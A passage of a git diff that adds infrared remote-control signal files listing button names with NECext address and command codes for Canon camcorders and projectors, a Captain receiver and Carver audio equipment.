+name: TAPE-RETURN +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 06 00 00 00 +# +name: COUNTER-RESET +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 0D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 17 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 1B 00 00 00 +# +name: KEY_T +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 1C 00 00 00 +# +name: KEY_W +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir b/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir new file mode 100644 index 000000000..d6349dba5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 00 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 02 00 00 00 +# +name: START/STOP +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 03 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 04 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 05 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 07 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 10 00 00 00 +# +name: SELFTIMER +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 12 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 17 00 00 00 +# +name: TV-SCREEN +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 1B 00 00 00 +# +name: KEY_ZOOMIN +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 1C 00 00 00 +# +name: KEY_ZOOMOUT +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 21 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 24 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 25 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 27 00 00 00 +# +name: D.EFFECTS +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 28 00 00 00 +# +name: CARD+ +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 2A 00 00 00 +# +name: CARD- +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 2B 00 00 00 +# +name: SLIDE-SHOW +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 2C 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 30 00 00 00 +# +name: DATA-CODE +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 31 00 00 00 +# +name: ZERO-SET/MEMORY +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 32 00 00 00 +# +name: AUDIO-DUB +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 33 00 00 00 +# +name: SEARCH/SELECT +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 34 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 35 00 00 00 +# +name: BWD +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 36 00 00 00 +# +name: AUDIO-MONITOR +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 39 00 00 00 +# +name: ST-2 +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 3A 00 00 00 +# +name: ST-1 +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 3B 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 50 00 00 00 +# +name: X2 +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 55 00 00 00 +# +name: AV-INSERT +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir b/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir new file mode 100644 index 000000000..dd4353e77 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 00 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 02 00 00 00 +# +name: start_stop +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 03 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 04 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 05 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 10 00 00 00 +# +name: self_timer +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 12 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 17 00 00 00 +# +name: tv_screen +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 1B 00 00 00 +# +name: KEY_ZOOMIN +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 1C 00 00 00 +# +name: KEY_ZOOMOUT +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 21 00 00 00 +# +name: set +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 24 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 25 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 27 00 00 00 +# +name: d_effects +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 28 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 30 00 00 00 +# +name: data_code +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 31 00 00 00 +# +name: zero_set_memory +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 32 00 00 00 +# +name: audio_dub +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 33 00 00 00 +# +name: search_select +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 34 00 00 00 +# +name: search_select_forward +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 35 00 00 00 +# +name: search_select_rewind +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 36 00 00 00 +# +name: X_KEY_2_bit_audio_out +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 39 00 00 00 +# +name: prev_frame +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 50 00 00 00 +# +name: fast +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 55 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir b/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir new file mode 100644 index 000000000..a54672700 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: Snap +type: parsed +protocol: NECext +address: CA B1 00 00 +command: 1F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: CA B1 00 00 +command: 40 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: CA B1 00 00 +command: 41 00 00 00 +# +name: KEY_ZOOMOUT +type: parsed +protocol: NECext +address: CA B1 00 00 +command: 42 00 00 00 +# +name: KEY_ZOOMIN +type: parsed +protocol: NECext +address: CA B1 00 00 +command: 43 00 00 00 +# +name: Multi +type: parsed +protocol: NECext +address: CA B1 00 00 +command: 44 00 00 00 +# +name: Magnify +type: parsed +protocol: NECext +address: CA B1 00 00 +command: 46 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: CA B1 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir b/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir new file mode 100644 index 000000000..7e4a13e0a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: FOCUS_-_MANUAL +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 06 00 00 00 +# +name: FOCUS_-_AUTO +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 07 00 00 00 +# +name: FOCUS_-_NEAR +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 08 00 00 00 +# +name: FOCUS_-_FAR +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 09 00 00 00 +# +name: KEY_ZOOMOUT +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 0A 00 00 00 +# +name: KEY_ZOOMIN +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 0B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 0C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 0D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 0E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 0F 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 10 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 14 00 00 00 +# +name: PRESET_SET/CANCEL +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 15 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir b/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir new file mode 100644 index 000000000..bf1de6ed7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 00 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 02 00 00 00 +# +name: start/stop +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 03 00 00 00 +# +name: remote_set +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 03 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 04 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 05 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 10 00 00 00 +# +name: self_timer +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 12 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 17 00 00 00 +# +name: tv_screen +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 1B 00 00 00 +# +name: KEY_ZOOMIN +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 1C 00 00 00 +# +name: KEY_ZOOMOUT +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 21 00 00 00 +# +name: set +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 24 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 25 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 27 00 00 00 +# +name: d.effects +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 28 00 00 00 +# +name: data_code +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 31 00 00 00 +# +name: zero_set_memory +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 32 00 00 00 +# +name: audio_dub. +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 33 00 00 00 +# +name: search_select +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 34 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 35 00 00 00 +# +name: bwd +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 36 00 00 00 +# +name: audio_monitor +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 39 00 00 00 +# +name: st-2 +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 3A 00 00 00 +# +name: st-1 +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 3B 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 50 00 00 00 +# +name: x2 +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 55 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Canon/Video Projector/129,6.ir b/assets/resources/infrared/_CSV-IRDB_/Canon/Video Projector/129,6.ir new file mode 100644 index 000000000..578d1d87d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Canon/Video Projector/129,6.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 40 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 41 00 00 00 +# +name: COMPUTER_1 +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 42 00 00 00 +# +name: COMPUTER_2 +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 43 00 00 00 +# +name: VIDEO/S +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 44 00 00 00 +# +name: AUTO_PC +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 45 00 00 00 +# +name: KEYSTONE +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 46 00 00 00 +# +name: CURSOR_UP/1 +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 47 00 00 00 +# +name: CURSOR_DOWN/3 +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 48 00 00 00 +# +name: CURSOR_LEFT/4 +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 49 00 00 00 +# +name: CURSOR_RIGHT/2 +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 4A 00 00 00 +# +name: SPOT +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 4B 00 00 00 +# +name: IMAGE +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 50 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 51 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 52 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 53 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 54 00 00 00 +# +name: P-TIMER +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 55 00 00 00 +# +name: D.ZOOM_UP +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 56 00 00 00 +# +name: D.ZOOM_DOWN +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 57 00 00 00 +# +name: NO_SHOW +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 58 00 00 00 +# +name: R-CLICK +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 59 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 5A 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 5B 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 81 06 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir b/assets/resources/infrared/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir new file mode 100644 index 000000000..5036e8da5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 FA 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 FA 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 FA 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 FA 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 FA 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 FA 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 FA 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 FA 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 FA 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 FA 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 FA 00 00 +command: 0A 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 FA 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 FA 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 FA 00 00 +command: 13 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 FA 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 FA 00 00 +command: 15 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 FA 00 00 +command: 16 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Amplifier/135,123.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Amplifier/135,123.ir new file mode 100644 index 000000000..33cad38a4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Amplifier/135,123.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 08 00 00 00 +# +name: PAUSE/STOP +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 09 00 00 00 +# +name: SKIP_+ +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 0A 00 00 00 +# +name: SKIP_- +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 0B 00 00 00 +# +name: REMOTE_VOL_UP +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 11 00 00 00 +# +name: REMOTE_VOL_DOWN +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 12 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 40 00 00 00 +# +name: HOLOGRAM +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 41 00 00 00 +# +name: VOLUME_MASTER_UP +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 42 00 00 00 +# +name: VOLUME_MASTER_DOWN +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 43 00 00 00 +# +name: REMOTE +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 45 00 00 00 +# +name: TUNING_UP +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 46 00 00 00 +# +name: TUNING_DOWN +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 47 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 48 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 49 00 00 00 +# +name: 1/11 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4A 00 00 00 +# +name: 2/12 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4B 00 00 00 +# +name: 3/13 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4C 00 00 00 +# +name: 4/14 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4D 00 00 00 +# +name: 5/15 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4E 00 00 00 +# +name: 6/16 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4F 00 00 00 +# +name: 7/17 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 50 00 00 00 +# +name: 8/18 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 51 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 52 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 53 00 00 00 +# +name: VIDEO1 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 54 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 55 00 00 00 +# +name: 9/19 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 58 00 00 00 +# +name: 10/20 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 59 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 5B 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 5C 00 00 00 +# +name: VIDEO2 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 5D 00 00 00 +# +name: ACCD +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/135,123.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/135,123.ir new file mode 100644 index 000000000..578aa018f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/135,123.ir @@ -0,0 +1,362 @@ +Filetype: IR signals file +Version: 1 +# +name: SKIP_FWD_>> +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 80 00 00 00 +# +name: SKIP_REV_<< +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 81 00 00 00 +# +name: PAUSE/STOP +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 81 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 83 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 84 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 84 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 85 00 00 00 +# +name: SKIP_- +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 85 00 00 00 +# +name: SKIP_+ +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 86 00 00 00 +# +name: DISC_SKIP_+ +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 87 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 87 00 00 00 +# +name: DISC_SKIP_- +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 88 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 88 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 89 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 89 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 8A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 8A 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 8B 00 00 00 +# +name: SCAN_FWD_>> +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 8C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 8C 00 00 00 +# +name: SCAN_REV_<< +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 8D 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 8D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 8E 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 8E 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 8F 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 8F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 90 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 90 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 91 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 91 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 92 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 92 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 93 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 93 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 94 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 95 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 95 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 96 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 96 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 97 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 97 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 98 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 99 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 9A 00 00 00 +# +name: SOFT_EQ +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 9A 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 9B 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 9C 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 9C 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 9D 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 9E 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 9F 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 9F 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: C9 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: CA 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: CB 00 00 00 +# +name: LEVEL_FILE +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: CC 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: CD 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: CE 00 00 00 +# +name: FADER +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: DB 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: DD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/20,-1.ir new file mode 100644 index 